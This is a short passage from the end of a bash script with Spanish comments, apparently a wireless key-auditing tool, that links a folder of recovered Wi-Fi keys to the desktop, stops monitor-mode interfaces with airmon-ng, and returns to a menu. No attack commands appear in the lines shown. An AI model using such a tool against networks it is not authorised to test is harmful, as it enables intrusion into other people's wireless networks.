890 if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
891 ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
892 fi
893fi
894
895# Eliminando interfaces en modo monitor
896interfaces=$(iwconfig 2>/dev/null|grep "Mode:Monitor"|awk '{print $1}')
897if [ "$interfaces" ]; then
898 for monx in $interfaces; do
899 airmon-ng stop $monx >/dev/null 2>&1
900 done
901fi
902
903ActualizarBD
904menu